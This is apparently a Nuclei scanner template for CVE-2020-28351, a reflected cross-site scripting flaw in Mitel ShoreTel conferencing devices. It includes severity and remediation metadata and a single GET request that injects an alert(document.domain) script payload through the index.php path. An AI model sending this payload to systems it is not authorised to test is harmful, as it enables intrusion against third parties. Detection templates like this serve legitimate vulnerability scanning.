id: CVE-2020-28351

info:
  name: Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATH_INFO variable to index.php due to insufficient validation for the time_zone object in the HOME_MEETING& page.
  remediation: |
    Apply the latest security patches or updates provided by Mitel to mitigate the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html
    - https://www.mitel.com/articles/what-happened-shoretel-products
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28351
    - http://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html
    - https://github.com/dievus/cve-2020-28351
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-28351
    cwe-id: CWE-79
    epss-score: 0.0036
    epss-percentile: 0.68696
    cpe: cpe:2.3:o:mitel:shoretel_firmware:19.46.1802.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mitel
    product: shoretel_firmware
  tags: packetstorm,cve,cve2020,shoretel,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - 'Content-Type: text/html'

      - type: status
        status:
          - 200